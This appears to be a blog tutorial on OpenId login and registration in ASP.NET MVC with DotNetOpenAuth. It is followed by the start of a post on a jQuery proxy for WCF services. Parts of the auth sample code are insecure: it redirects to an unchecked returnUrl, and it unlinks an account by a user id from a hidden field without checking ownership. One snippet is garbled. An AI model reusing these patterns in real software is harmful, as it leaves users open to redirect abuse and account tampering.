<% using (Html.BeginForm(new { Controller="Account",Action="OpenIdLogon" }))
       { %>         
         <fieldset >                             
         <div class="containercontent" >
             <div class="labelheaderblock">Log on using OpenId:</div>
             <input id="openid_identifier" name="openid_identifier"/>             
             <input id="btnOpenIdLogin" type="submit" value="Login"/>        
             <img id="imgOpenIdLoginProgress" src="<%= ResolveUrl("~/css/images/loading_small.gif") %>" style="display:none" />                 
             
            <div id="divOpenIdIcons">
                 <img src="<%= ResolveUrl("~/images/openid-icon.png") %>" onclick="openIdUrl('openid')" title="myopenid.com" class="hoverbutton" />
                 <img src="<%= ResolveUrl("~/images/google-icon.png") %>" onclick="openIdUrl('google')" title="Google" class="hoverbutton"/>
                 <img src="<%= ResolveUrl("~/images/yahoo-icon.png") %>" onclick="openIdUrl('yahoo')" title="Yahoo" class="hoverbutton" />
             </div>     
         </div>
         </fieldset>
<% } %>

The image icons fire a small JavaScript routine that creates the OpenId urls that are injected into the text box:

function openIdUrl(site)
{
    var value = "";
    var autoClick = false;
    
    if (site == "openid") {
        value = "<Your Account>.myopenid.com"
    }
    else if (site == "google") {
        value = "https://www.google.com/accounts/o8/id";
        autoClick = true;
    }
    else if (site == "yahoo") {
        value = "http://yahoo.com/"
        autoClick = true;
    }
        
    if (value) {
        var jText = $("#openid_identifier");
       jText.val(value)
            .focus();
       if (autoClick)
           $("#btnOpenIdLogin").trigger("click");
    }       
}

You can add to this with other URLs and icons as you see fit. I stuck with those three because they are the most common that people will have accounts on but that may change. All others OpenId Urls can be typed in by hand (which is not so smooth).

When the Login button is clicked and the request is submitted it fires into an OpenIdLogOn action method of the controller. The controller has to accept both POST and GET operations. POST is from the initial button click, the GET will occur when the OpenId provider fires back the response and provides the data via the query string.

As mentioned I’m using DotNetOpenAuth here which is a single large DLL you can drop into your BIN folder. It handles all the heavy lifting of creating the redirect link and cracking the response query string extracting the authentication token.

The process involves two steps: Making the original request to the OpenId provider (which redirects) and handling the response that comes back. Here’s the code (which is pretty close to the sample code provided in one of the demos):

[AcceptVerbs(HttpVerbs.Post | HttpVerbs.Get), ValidateInput(false)]
public ActionResult OpenIdLogOn(string returnUrl)
{
    var openid = new OpenIdRelyingParty();
    var response = openid.GetResponse();

    if (response == null)  // Initial operation
    {
        // Step 1 - Send the request to the OpenId provider server
        Identifier id;
        if (Identifier.TryParse(Request.Form["openid_identifier"], out id))
        {
            try
            {
                var req = openid.CreateRequest(Request.Form["openid_identifier"]);
                return req.RedirectingResponse.AsActionResult();
            }
            catch (ProtocolException ex)
            {
                // display error by showing original LogOn view
                this.ErrorDisplay.ShowError("Unable to authenticate: " + ex.Message);
                return View("Logon",this.ViewModel);
            }
        }
        else
        {
            // display error by showing original LogOn view
            this.ErrorDisplay.ShowError("Invalid identifier");
            return View("LogOn",this.ViewModel);
        }
    }
    else  // OpenId redirection callback
    {
        // Step 2: OpenID Provider sending assertion response
        switch (response.Status)
        {
            case AuthenticationStatus.Authenticated:
                string identifier = response.ClaimedIdentifier;

                // OpenId lookup fails - Id doesn't exist for login - login first
                if (busUser.ValidateUserOpenIdAndLoad(identifier) == null)
                {
                    this.ErrorDisplay.HtmlEncodeMessage = false;
                    this.ErrorDisplay.ShowError(busUser.ErrorMessage +
                            "Please <a href='" + WebUtils.ResolveUrl("~/Account/Register") +
                            "'>register</a> to create a new account or <a href='" +
                            WebUtils.ResolveUrl("~/Account/Register") +
                            "'>associate</a> an existing account with your OpenId");

                    return View("LogOn", this.ViewModel);
                }

                // Capture user information for AuthTicket
                // and issue Forms Auth token
                UserState userState = new UserState()
                {
                    Email = busUser.Entity.Email,
                    Name = busUser.Entity.Name,
                    UserId = busUser.Entity.Id,
                    IsAdmin = busUser.Entity.IsAdmin
                };
                this.IssueAuthTicket(userState, true);

                if (!string.IsNullOrEmpty(returnUrl))
                    return Redirect(returnUrl);

                return Redirect("~/new");

            case AuthenticationStatus.Canceled:
                this.ErrorDisplay.ShowMessage("Canceled at provider");
                return View("LogOn", this.ViewModel);
            case AuthenticationStatus.Failed:
                this.ErrorDisplay.ShowError(response.Exception.Message);
                return View("LogOn", this.ViewModel);
        }
    }
    return new EmptyResult();
}

The code uses the OpenIdRelyingParty class to handle the processing of the login. The first step occurs when the button is clicked and there’s no provider response to process. This code:

var req = openid.CreateRequest(Request.Form["openid_identifier"]);
return req.RedirectingResponse.AsActionResult();

fires off the the request. The openid_identifier is the OpenId Url the user entered into the form and it’s passed to DotNetOpenAuth to start formulating a request for authentication at that Url.

The code above starts the redirection sequence going to the provider and back to the current page - since I didn’t specify another Url to return to by default the request returns to the current page’s url.

As mentioned I’m using MVC so and as you can see DotNetOpenAuth conveniently includes an AsActionResult() method that creates redirect response in a proper MVC style response which is very thoughtful for consistency. You can also retrieve the URL directly and fire it on your own although I can’t see why you would. If you’re using WebForms or a handler there are other methods on RedirectingResponse to fire the redirects for you.

Next the browser is redirected to the OpenId provider where you either are asked to log in or if you already are logged in you are authenticated and immediately returned to the current page. When the request returns it is now a GET operation and we start back out at the top of the same Controller action.

This time around:

var response = openid.GetResponse();

will not be null – the return URL includes a bunch of new encoded querystring values. GetResponse() looks for those and based on that creates the response instance and the code can branch into the greater if block. The request will either be authenticated, canceled or failed. Failure can be any number of things such as invalid login information, or timing out or some sort of tampering with the URL. Both cancel and failure operations are handled by simply redisplaying the current view with an error message.

If authentication succeeded we can retrieve a unique identifier that identifies the user’s provider choice and we’re guaranteed at this point that this user was authenticated through OpenId. Yay!

Although you now know the user is authenticated ASP.NET knows nothing about this authentication yet, so the next step is to set a FormsAuthentication ticket to authenticate the user to the application. This process is no different than doing a manual login in any other ASP.NET application with Forms Authentication.

In CodePaste.net I store a user record in the ticket so I have some basic user information available to my application on each hit without having to use session storage or retrieving this info on every request from the database. The code does this:

 // Capture user information for AuthTicket
// and issue Forms Auth token
UserState userState = new UserState()
{
    Email = busUser.Entity.Email,
    Name = busUser.Entity.Name,
    UserId = busUser.Entity.Id,
    IsAdmin = busUser.Entity.IsAdmin
};
this.IssueAuthTicket(userState, true);

where IssueAuthTicket() looks like this doing standard Forms Authentication ticket assignment:

/// <summary>
/// Issues an authentication issue from a userState instance
/// </summary>
/// <param name="userState"></param>
/// <param name="rememberMe"></param>
private void IssueAuthTicket(UserState userState,bool rememberMe)
{
    FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1, userState.UserId,
                                                         DateTime.Now, DateTime.Now.AddDays(10),
                                                         rememberMe, userState.ToString());

    string ticketString = FormsAuthentication.Encrypt(ticket);
    HttpCookie cookie = new HttpCookie(FormsAuthentication.FormsCookieName, ticketString);
    if (rememberMe)
        cookie.Expires = DateTime.Now.AddDays(10);

    HttpContext.Response.Cookies.Add(cookie);
}

Once the auth ticket’s been issued the application simply redirects to another page in the application (the new snippet page in this case).

BTW just for clarfication, the userState object contains logic to easily persist to and from string so this object is easily retrieved at the beginning of a request and stored on updates. In my base controller I do:

protected override void Initialize(System.Web.Routing.RequestContext requestContext)
{
    base.Initialize(requestContext);

    // Grab the user's login information from FormsAuth
    UserState userState = new UserState();
    if (this.User.Identity != null && this.User.Identity is FormsIdentity)
        this.UserState.FromString(((FormsIdentity)this.User.Identity).Ticket.UserData);

    // have to explicitly add this so Master can see untyped value
    this.ViewData["UserState"] = this.UserState;
    this.ViewData["ErrorDisplay"] = this.ErrorDisplay;
}

The process to authenticate using OpenId is pretty straight forward. No surprises here, really. All we need to have is some conditional logic to route for redirect initially and pick up the result when the request comes back and handle the authentication and creation of a new FormsAuthentication ticket. When the request returns and is marked as authenticated you can safely assume the user is valid. Because of the message encryption and timed security tokens the data is safe and not hijackable.

Registration – A little more complex

The log in process is straight forward primarily because the request doesn’t need to track data that is already on the page. You log in and you move on to another page. However in a log in form (Figure 3) there may be additional pieces of information that you need to track. More importantly you typically have some state associated with the registration page – like which user (or a new user) is currently being displayed and that information has to be carried forward when the Open Id request returns from the provider. So the code to handle this is a little longer.

The HTML layout in Figure 3 is nearly identical to the HTML layout on the login form except there’s some conditional logic to display the input box or the checkbox and message that identifies the current OpenId association.

    <% using (Html.BeginForm(new { Controller = "Account", Action = "OpenIdRegistrationLogOn" })){ %>         
         <fieldset >                             
         <div class="containercontent" style="padding: 10px 20px;" >
             
             
            <% if( string.IsNullOrEmpty(Model.busUser.Entity.OpenId) ) { %>
                 <label for="openid_identifier" class="labelheaderblock">Enter an OpenId Url:</label>
                 <input id="openid_identifier" size="40" name="openid_identifier"/>             
                 <input id="btnOpenIdLogin" type="submit" value="Login"/> 
                 <img id="imgOpenIdLoginProgress" src="<%= ResolveUrl("~/css/images/loading_small.gif") %>" style="display:none" />                 
                 
                 <div id="divOpenIdIcons">
                     <img src="<%= ResolveUrl("~/images/openid-icon.png") %>" onclick="openIdUrl('openid')" title="myopenid.com" class="hoverbutton" />
                     <img src="<%= ResolveUrl("~/images/google-icon.png") %>" onclick="openIdUrl('google')" title="Google" class="hoverbutton"/>
                     <img src="<%= ResolveUrl("~/images/yahoo-icon.png") %>" onclick="openIdUrl('yahoo')" title="Yahoo" class="hoverbutton" />
                 </div>
                             
             <% } else { %>    
                 <label for="openid_identifier" class="labelheaderblock">OpenId Association</label>
                 <img src="<%= ResolveUrl("~/css/images/greencheck.gif") %>" /> This user account is linked to <b><%= Html.Encode(Model.busUser.Entity.OpenId) %></b>
                 <input id="btnOpenIdUnlink" name="btnOpenIdUnlink" type="submit" value="Unlink" />                     
             <% } %>

             <%= Html.Hidden("Id2", this.Model.busUser.Entity.Id) %>
         </div>
         </fieldset>
    <% } %>

Notice that here we need to keep track of the active User if any. Since you can attach/detach from an existing profile we do have to know which user we’re dealing with. This sounds easy enough but remember that you can’t use plain POST data for this because the page goes off the OpenId provider and comes back with a GET that just holds the result values. This means to redisplay the page the entire page has to be re-rendered based on the model. To do this we’ll need to keep track of the user id for the request sequence.

This base process is very similar to the log in process and uses the same two stages of request sending and return. First capture the value from a hidden form variable and then store it in the Session object to pass between the two requests. Here’s what the open id attachment/detachment code looks like:

[AcceptVerbs(HttpVerbs.Post | HttpVerbs.Get), ValidateInput(false)]
 public ActionResult OpenIdRegistrationLogOn(FormCollection formVars)
 {
     return OpenIdRegistrationLogOn(null,true);
 }
 
 private ActionResult OpenIdRegistrationLogOn(IAuthenticationResponse response, bool reserved )
 {
     this.ViewData["IsNew"] = true;


     var openid = new OpenIdRelyingParty();
    
     if (response == null)
         response = openid.GetResponse();
     
     if (response == null)
     {
         string userId = Request.Form["Id2"];  // have to track the user’s id

         // Check for unlink operation
         if (!string.IsNullOrEmpty(Request.Form["btnOpenIdUnlink"]))
         {
             if (busUser.Load(userId) == null)
             {
                 this.ErrorDisplay.ShowError("Couldn't find associated User: " + busUser.ErrorMessage);
                 return RedirectToAction("Register", new { id=userId });
             }
             busUser.Entity.OpenId = "";
             busUser.Save();
             return RedirectToAction("Register", new { id = userId });
         }

         Identifier id;
         string openIdIdentifier = Request.Form["openid_identifier"];
         if (Identifier.TryParse(openIdIdentifier, out id))
         {
             try
             {
                 // We need to know which user we are working with 
                 // and so we pass the id thru session – (is there a better way?) 


                 Session["userId"] = userId;

                 var req = openid.CreateRequest(id);
                 
                 var fields = new ClaimsRequest();                       
                 fields.Email = DemandLevel.Request;
                 fields.FullName = DemandLevel.Request;                        
                 req.AddExtension(fields);

                 return req.RedirectingResponse.AsActionResult();
             }
             catch (ProtocolException ex)
             {
                 this.ErrorDisplay.ShowError("Unable to authenticate: " + ex.Message);
                 this.busUser.NewEntity();
                 return View("Register",this.ViewModel);
             }
         }
         else
         {
             ViewData["Message"] = "Invalid identifier";
             return View("Login");
         }
     }
     else
     {
         // Reestablish the user we’re dealing with

         string userId = Session["userId"] as string;
         if (string.IsNullOrEmpty(userId))
             ViewData["IsNew"] = true;
         else
             ViewData["IsNew"] = false;

         // Stage 3: OpenID Provider sending assertion response
         switch (response.Status)
         {
             case AuthenticationStatus.Authenticated:
                 var claim = response.GetExtension<ClaimsResponse>();
                 string email = null, fullname= null;
                 if (claim != null)
                 {
                     email = claim.Email;
                     fullname = claim.FullName;
                 }
                 string identifier = response.ClaimedIdentifier;

                 var user = busUser.Load(userId);
                 if (user == null)
                 {
                     user = busUser.ValidateUserOpenIdAndLoad(identifier);
                     if (user == null)
                         user = busUser.NewEntity();
                 }
                 
                 // associate openid with the user account
                 busUser.Entity.OpenId = identifier;

                 if (!string.IsNullOrEmpty(email) && string.IsNullOrEmpty(busUser.Entity.Email))
                     busUser.Entity.Email = email;

                 if (!string.IsNullOrEmpty(fullname) && string.IsNullOrEmpty(busUser.Entity.Name))
                     busUser.Entity.Name = fullname;

                 if (string.IsNullOrEmpty(busUser.Entity.Name))
                 {
                     string host = StringUtils.ExtractString(response.FriendlyIdentifierForDisplay, ".", ".com");
                     if (!string.IsNullOrEmpty(host))
                         host = " (" + host + ")";
                    
                     busUser.Entity.Name = "Unknown" + host;

                     this.ErrorDisplay.DisplayErrors.Add("Please enter a user name", "Name");
                 }

                 if (!busUser.Validate())
                 {
                     busUser.Entity.OpenId = "";
                     this.ErrorDisplay.ShowError(busUser.ErrorMessage);
                     return View("Register",this.ViewModel);
                 }
                 if (!busUser.Save())
                 {
                     busUser.Entity.OpenId = "";
                     this.ErrorDisplay.ShowError(busUser.ErrorMessage);
                     return View("Register", this.ViewModel);
                 }

                 UserState userState = new UserState()
                 {
                     Name = busUser.Entity.Name,
                     Email = busUser.Entity.Name,
                     UserId = busUser.Entity.Id,
                     IsAdmin = busUser.Entity.IsAdmin
                 };
                 this.IssueAuthTicket(userState, true);

                 // and reload the page with the saved data
                 return this.RedirectToAction("Register", new { id=busUser.Entity.Id } );
             case AuthenticationStatus.Canceled:
                 this.busUser.NewEntity(true);
                 this.ErrorDisplay.ShowMessage("Canceled at provider");
                 return View("Register", this.ViewModel);
             case AuthenticationStatus.Failed:
                 this.busUser.NewEntity(true);
                 this.ErrorDisplay.ShowError(response.Exception.Message);
                 return View("Register", this.ViewModel);
         }
     }
     return new EmptyResult();
 }

There are two methods here – one as an actual endpoint and another that can be called with an existing response passed to it – this is useful to automatically force a login that doesn’t exist directly into the registration form via code. A DotNetAuth response can only be parsed once or else it’s considered invalid and so passing in an existing response was a requirement to handle this sort of ‘manual’ routing. For the simple callback scenario you can just use a simple Controller endpoint method.

As in the last example the OpenIdRelyingParty is used to handle the actual request semantics of sending the redirect and receiving the data. This part of the process really doesn’t change. However, how you deal with the data received and abort scenarios adds a significant amount of additional code compared to the previous login only example.

If there’s no OpenId response, the code first checks for unlink requests. For this it needs the id to load an instance of the business entity and update it by removing the OpenId from it. The page is then redisplayed again using the ID as the key.

Otherwise the request is sent off to the OpenId provider. The provider then returns and again the OpenId response will now be set. On success the code tries to retrieve the ClaimsRequest values. Claimsrequest is sent with the initial request to ask the server to return values from the user’s profile. For CodePaste.net I’m interested in full name and email as optional results. Note that some OpenId only providers use a common format called SREG to return values. myOpenDns does as do several other of the dedicated services. However, this standards is only sketchily supported by the big providers. Google for example requires that you Demand data and then will only return the email address (which seems ironic given that’s the most private item in the profile). Yahoo doesn’t return anything – according to their OpenId page they only share profile information with certain sites they deem appropriate. SREG however is gaining momentum so it’s likely that all providers will evenutally support SREG.

In DotnetOpenAuth the request for ‘claim data’ is handled like this:

// Request additional Profile
var req = openid.CreateRequest(Request.Form["openid_identifier"]); information with ClaimsRequest
var fields = new ClaimsRequest();
fields.Email = DemandLevel.Demand;
fields.FullName = DemandLevel.Demand;
req.AddExtension(fields);

You can Request or Demand claims. In theory Demand means that if the provider or user refuses to provide the requested keys the request fails. In reality though providers like google ignore Request commands and so Demand is often required to retrieve information.

To retrieve the claims data uses GetExtension<T>():

// Retrieve custom profile information if available
var claim = response.GetExtension<ClaimsResponse>();
string email = null, fullname= null;
if (claim != null)
{
email = claim.Email;
fullname = claim.FullName;
}

Just remember that there’s no guarantee these values are set.

The other issue in this controller deals with state management of the user. When the user comes to the page to hook up we have state on the page for that particular user, but when we re-direct to the OpenId provider site we loose that state. So in this case the user id needs to be tracked and I’m using a Session object for this. I haven’t had much need for session in MVC applications but this is one case where I don’t see a way around this unfortunately. Before the request is sent the user’s id is stored in a Session object. When the authenticated request returns the session id is retrieved and used to look up the user’s business object which is the updated with the open id identifier and optionally the profile information if any. The rest of the bulky code deals with a few checks on the data returned and isolating which data to update.

OpenId Integration – More complicated than it looks

Phew – this looks like a lot of code you have to write and while it’s a pretty good chunk the largest part of this code has to do with the business logic to save and update the user’s information and setting the Forms Authentication ticket. The actual OpenId related logic is relatively simple once you understand the basic concept of how the flow of an OpenId authentication works.

As any Web based callback mechanism the code is bulky because you have to effectively route the responses inside your code and you end up with some code that couples Web and business logic which is always ugly. I remember fighting similar issues years ago with PayPal integration. Processes like these are cumbersome because they are so closely tied to the actual Web request – the Controller Action in this case and don’t provide for an easy way to abstract and wrap into business logic. That’s the penalty you pay for a distributed system in many situations and this is no different.

There are also other solution out there for OpenId integration. Rob Conery has been mucking around and trying to convince me to try RPX which uses a man in the middle approach for hosting OpenId authentication. They basically provide the login API via a pop up window and you then retrieve the authentication data via a backend service call. But this requires yet another provider in the middle that you talk to through a proprietary API. It might help isolating the auth logic (service callback vs. a controller action). But it’s not for me – but for some of you this might be interesting to check out especially if you like the way the RPX looks. It'll definitely be a less code approach.

I hope though that this article is useful to some of you. I certainly wish I would have had something to look at when I started looking at OpenId.There’s a lot of high level posturing stuff out there that talks about the benefits and goals of open ID but preciously little code that actually shows the progression of steps in context that explains OpenId flow on a high level along with an implementation.

I also want to thank

Resources

DotNetOpenAuth Library
.NET library for processing OpenId, oAuth, InfoCard and various other authentication APIs. Very comprehensive and thoughtful functionality although documentation is a bit on the sparse side. Excellent support and feedback from the developer who’s really passionate about this library and closely monitors and listens to feedback.
CodePaste.net Source Code
This article is based on the code on CodePaste.net and if you like you can check out the source code from the Subversion repository.

Posted in ASP.NET MVC

Making jQuery calls to WCF/ASMX with a ServiceProxy Client

Rick Strahl — Wed, 16 Sep 2009 03:31:07 GMT

I’ve discussed creating a WCF or ASMX Service proxy for operation with jQuery and without using the Microsoft AJAX libraries. This was some time ago and some things have changed since then – most notably the introduction native JSON parsers in IE 8 and FireFox 3.5 as well as some changes in .NET 3.5 SP1 that makes some JSON transfer tasks a little bit easier in some situations. So I think it’s time to revisit this topic and update the code I showed in the past.

How the WCF ServiceProxy works

The idea of the service proxy is to make it as easy as a single function call to call a WCF or ASMX service. There no dependencies here other than jQuery.js. The goal is to initialize the proxy with a URL and then simply call .invoke() methods to call service methods on the service. The resulting client code using the proxy looks like the following.

Include a script reference into the page in the header:

 <script src="../scripts/serviceproxy.js" type="text/javascript"></script>

There are two steps to calling services: Initializing the proxy which can be done globally at the top of the script code and then actually making the service method callbacks.

Start by adding the initialization code in a global location on your page or in a separate external .js file:

// *** Create a static service instance (serviceProxy.js)
// *** which includes ServiceProxy, JSON2, and JSON extensions 
var serviceUrl = "BasicWcfService.svc/";
var proxy = new ServiceProxy(serviceUrl);

Then you’re ready to make service calls. The following is the ever illustrious HelloWorld request called from a click button handler:

function showHelloWorld()
{
    proxy.invoke("HelloWorld",
         { name: $("#" + serverVars.txtHelloNameId).val() },
         function(result) {
             $("#divHelloWorldResult")
                .text(result)
                .slideUp("hide", function() { $(this).slideDown("slow") });
         },
         onPageError, false);
}

The individual .invoke calls then simply specify the method to call on the server, and an object map with parameter names as properties. So the HelloWorld method has a name parameter hence { name: "Rick" } is sent. If you had multiple parameters the map would have multiple properties: { parm1: "rick", parm2: 10, parm3: new Date() }. Parameter types can be of any type as long as they match in structure what the server’s method expects.

The third and fourth parameters are the success callback which receives the result value, and the failure callback which receives an exception like object. The success handler typically is used to assign the result value to the page somehow by displaying some notification or message, or updating some page content. Here an anonymous function is used inline to handle the success callback which receives the result of the service callback – in this case a string of an HTML fragment – as a parameter. The html is then promptly embedded into the page and made visible with a small effect.

Setting up a WCF Service on the Server

On the server side a WCF Service that implements the service methods using the WCF AJAX style WebScriptServiceHostFactory can be set up like this:

Go into web.config file and REMOVE all the System.ServiceModel entries created from the WCF service
Open the .SVC file created and add the Factory attribute to the page as shown below

<%@ServiceHost Language="C#"
       Service="WcfAjax.BasicWcfService"
       CodeBehind="BasicWcfService.cs"
       Factory="System.ServiceModel.Activation.WebScriptServiceHostFactory"%>

Notice the Factory="System.ServiceModel.Activation.WebScriptServiceHostFactory" definition in the markup page – this is a shortcut for Microsoft AJAX style messaging that allows you to bypass all web.config configuration. In fact you can remove all WCF related entries from the config file if you like once you use the script factory. You can still use the web.config settings – they will override the defaults, but typically that is not required. If you want ASP.NET compatibility you might want to add one thing to the .config file:

<system.serviceModel>
  <serviceHostingEnvironment aspNetCompatibilityEnabled="true" />
</system.serviceModel>

All that’s left to do then is to set up the service and service methods. For simplicity I’m just using a class that implements the contract. If you want to be anal and prefer setting up a separate ServiceContract interface for an internal service class that will never be reused be my guest – but for most application internal AJAX services that hardly a necessary practice.

Here’s is the service class:

    [ServiceContract(Namespace = "DevConnections")]
    [AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Required)]
#if DEBUG 
    [ServiceBehavior(IncludeExceptionDetailInFaults = true)]
#endif
    public class BasicWcfService
    {
        [OperationContract]
        public string HelloWorld(string name)
        {
            return "Hello " + name +". Time is: " + DateTime.Now.ToString();
        }

        [OperationContract]
        public StockQuote GetStockQuote(string symbol)
        {
            StockServer server = new StockServer();
            StockQuote quote;

            return server.GetStockQuote(symbol);
        }

        [OperationContract]
        public StockQuote[] GetStockQuotes(string[] symbols)
        {
            StockServer server = new StockServer();      
            return server.GetStockQuotes(symbols);
        }

        [OperationContract] 
        [WebGet]
        public Stream GetStockHistoryGraph(string stockSymbols,string title, int width, int height)
        {
            string[] symbols = stockSymbols.Split(',');
            
            StockServer server = new StockServer();
            byte[] img = server.GetStockHistoryGraph(symbols, title, width, height, 2);

            MemoryStream ms = new MemoryStream(img);
            return ms;
        }

        [OperationContract]
        public DateTime AddDays(DateTime date, int days)
        {
            return date.AddDays(days); 
        }

        [OperationContract]
        public string ThrowServerException()
        {
            throw new InvalidOperationException("User generated Error. This error has been purposefully created on the server");
            return "Gotcha!";
        }
    }

Nothing fancy here – just methods marked up with [OperationContract] attributes and a service class that implements the [ServiceContract] and you’re ready to go.

Calling the Service – Another example

For a slightly more involved example let’s call the GetStockQuotes method on the server which returns a result that looks like this:

The result here is returned as an array of objects that contains stock quotes, which is then rendered into the page on the client via a ‘filling the holes’ template approach (there are other ways to accomplish this using templates). Here’s what this request looks like:

function getStockQuotes() {
    var symbols = $("#" + serverVars.txtSymbolsId ).val().split(",");
    proxy.invoke("GetStockQuotes",
         { symbols: symbols },  // pass symbol array as 'symbols' parameter
         function(quotes) {  // result is an array for each of the symbols                            
             var jCnt = $("#divStockDisplay").fadeIn("slow");
             var jDiv = $("#divStockContent").empty();

             // quotes is an array
             $.each(quotes, function(index) {
                 var jCtl = $("#StockItemTemplate").clone();
                 jCtl.attr("id", "stock_" + this.Symbol);
                 var symbol = this.Symbol;

                 jCtl.find(".itemstockname").text(this.Company);
                 jCtl.find("#tdLastPrice").text(this.LastPrice.formatNumber("n2"));
                 jCtl.find("#tdOpenPrice").text(this.OpenPrice.formatNumber("n2"));
                 jCtl.find("#tdNetChange").text(this.NetChange.formatNumber("n2"));
                 jCtl.find("#tdTradeDate").text(this.LastQuoteTimeString);
                 jCtl.fadeIn().click(function() { alert('clicked on: ' + symbol); });
                 jCtl.find(".hoverbutton").click(function(e) { alert("delete clicked on: " + symbol); e.stopPropagation(); });

                 jDiv.append(jCtl);
             });
         },
         onPageError);                          
}

The code takes an input string of comma delimited symbols, splits them into an array symbols. The symbols array is attached to the parameter map in the call to .invoke() as the input parameter to GetStockQuotes of the service method. The callback handler receives the array of quotes and creates a new list of stock item templates. The ‘template’ is really just an invisible HTML fragment:

<!-- 'Template' used to render each of the stock items -->
<div id="StockItemTemplate" class="itemtemplate" style="display:none">
    <div class="stockicon"></div>
    <div class="itemtools">
        <a href='javascript:{}' class="hoverbutton" ><img src="../images/remove.gif" /></a>
    </div>
    <div class="itemstockname"></div>
    <div class="itemdetail">
        <table cellpadding="3"><tr>
            <td>Price:</td>
            <td id="tdLastPrice" class="stockvaluecolumn"></td>
            <td>Open:</td>
            <td id="tdOpenPrice" class="stockvaluecolumn"></td>
            <td>Change:</td>
            <td id="tdNetChange" class="stockvaluecolumn"></td>                
            <td id="tdTradeDate" colspan="2"></td>
        </tr></table>
    </div>
</div>

and the code reads this fragment, clones it and then fills in the ‘holes’ with the retrieved data. Each individual StockItem is then added to the the list container (divStockContent) to display the list.

The data for all of this is using JSON and the stock array that is returned from the server looks like this:

{"d":[{"__type":"StockQuote:#StockPortfolio",
       "Company":"Microsoft Corpora",
       "LastPrice":25.20,
       "LastQuoteTime":"\/Date(1253055600000-0700)\/",
       "LastQuoteTimeString":"Sep 15, 4:00PM",
       "NetChange":0.20,
       "OpenPrice":24.95,
       "Symbol":"MSFT"},
      {"__type":"StockQuote:#StockPortfolio",
       "Company":"Intel Corporation",
       "LastPrice":19.55,
       "LastQuoteTime":"\/Date(1253055600000-0700)\/",
       "LastQuoteTimeString":"Sep 15, 4:00PM",
       "NetChange":0.19,
       "OpenPrice":19.51,
       "Symbol":"INTC"}
    ]
 }

Notice that this is Microsoft’s funky encoding format that includes a ‘wrapping’ type d that is consistent WCFs serialization formatting. The serviceProxy client however cleans this up. The data contains various types which are preserved on the client and also back up to the server if you post data back. And notice the funky date format which is also Microsoft specific ("\/Date(999123312)\/"). The serviceProxy properly deserializes these dates as well so result[0].LastQuoteTime will be a date. It also handles proper encoding of dates that are sent to the server so they appear as dates there.

The sample is part of the jQuery samples linked at the bottom of this post if you want to check it out a little closer and play with it for yourself.

Ok so much for the background…

ServiceProxy Implementation

I have previously written about the ServiceProxy implementation, but there have been a number of changes that had to be made to deal with recent changes in the browser world namely the addition of native JSON parsers. The old version I created relied on a customized version of Douglas CrockFord’s JSON2.js file. It was customized to handle the date encoding and decoding. JSON2.js is still required since not all browsers support native JSON parsing (only IE 8 and FF 3.5 currently do), but it’s fully compatible to the native JSON parser’s object model so it’s a perfect fit.

However with the advent of native JSON parsers the ‘customization’ of JSON2.js is no longer possible since the native implementations are fixed and immutable. They are also significantly faster so we definitely want to take advantage of this new feature. JSON parsers allow for a Replacer (stringify) and Reviver (parse) function that can be used to provide some post parsing formatting which allows hooking up the date processing both to the native parsers as well as the JSON2 parser with the same code.

I’ve included a ServiceProxy.js class with this post which provides all 3 items in a single file:

ServiceProxy class
JSON2
JSON2 Extensions

JSON2 is included in this package to have everything wrapped up in a single file for easier portability. Alternately you can also grab ww.jquery.js which also includes all three of these components plus a host of jQuery plug-ins for typical AJAX use.

ServiceProxy Class

Let’s quickly look at the first and last components starting with the ServiceProxy. The service proxy is meant to make the service call easy. It relies on jQuery’s .ajax() function to make the actual callback. The proxy provides a number of useful features:

Single Method Service Calls
JSON encoding/decoding
Consistent Error Handling

The latter is an often overlooked part of using jQuery’s .ajax() function because it provides a poor job of returning error information in a meaningful way. The proxy wraps errors into an object with a simple message regardless of whether you’re dealing with a transmission error, a client error or a service application fault.

Here’s the ServiceProxy class implementation:

this.ServiceProxy = function(serviceUrl) {
    /// <summary>
    /// Generic Service Proxy class that can be used to
    /// call JSON Services generically using jQuery
    /// depends on JSON2.js modified for MS Ajax usage
    /// </summary>
    /// <param name="serviceUrl" type="string">
    /// The Url of the service ready to accept the method name
    /// should contain trailing slash (or other URL separator ?,&)
    /// </param>
    /// <example>
    /// var proxy = new ServiceProxy("JsonStockService.svc/");
    /// proxy.invoke("GetStockQuote",{symbol:"msft"},
    ///              function(quote) { alert(result.LastPrice); },onPageError);
    ///</example>

    var _I = this;
    this.serviceUrl = serviceUrl;
    this.isWcf = true;

    this.invoke = function(method, params, callback, errorHandler, bare) {
        /// <summary>
        /// Calls a WCF/ASMX service and returns the result.
        /// </summary>    
        /// <param name="method" type="string">The method of the service to call</param>
        /// <param name="params" type="object">An object that represents the parameters to pass {symbol:"msft",years:2}       
        /// <param name="callback" type="function">Function called on success. 
        /// Receives a single parameter of the parsed result value</parm>
        /// <param name="errorCallback" type="function">Function called on failure. 
        /// Receives a single error object with Message property</parm>
        /// <param name="isBare" type="boolean">Set to true if response is not a WCF/ASMX style 'wrapped' object</parm>

        var json = _I.isWcf ? JSON.stringifyWcf(params) : JSON.stringify(params);

        // Service endpoint URL        
        var url = _I.serviceUrl + method;

        $.ajax({
            url: url,
            data: json,
            type: "POST",
            processData: false,
            contentType: "application/json",
            timeout: 10000,
            dataType: "text",  // not "json" we'll parse
            success: function(res) {
                if (!callback) return;

                // Use json library so we can fix up MS AJAX dates
                var result = JSON.parseWithDate(res);

                // Bare message IS result
                if (bare)
                { callback(result); return; }

                // Wrapped message contains top level object node
                // strip it off
                for (var property in result) {
                    callback(result[property]);
                    break;
                }
            },
            error: function(xhr, status) {                
                var err = null;
                if (xhr.readyState == 4) {
                    var res = xhr.responseText;
                    if (res && res.charAt(0) == '{')
                        var err = JSON.parseWithDate(res);
                    if (!err) {
                        if (xhr.status && xhr.status != 200)
                            err = new CallbackException(xhr.status + " " + xhr.statusText);
                        else
                            err = new CallbackException("Callback Error: " + status);
                        err.detail = res;
                    }
                }
                if (!err)
                    err = new CallbackException("Callback Error: " + status);

                if (errorHandler)
                    errorHandler(err, _I, xhr);

            }
        });
    }
}

The invoke method does all the work along with the success and error handlers of the Ajax functions that fix up the result. The .invoke() method starts by encoding the input object into JSON. Notice that for WCF there’s a special flag used since WCF does not (yet?) understand ISO style date strings as dates. So a special call the JSON.stringifyWcf is made to handle this formatting scenario. If you’re calling an ASMX service set isWcf=false; as ASMX services can deal with ISO dates just fine.

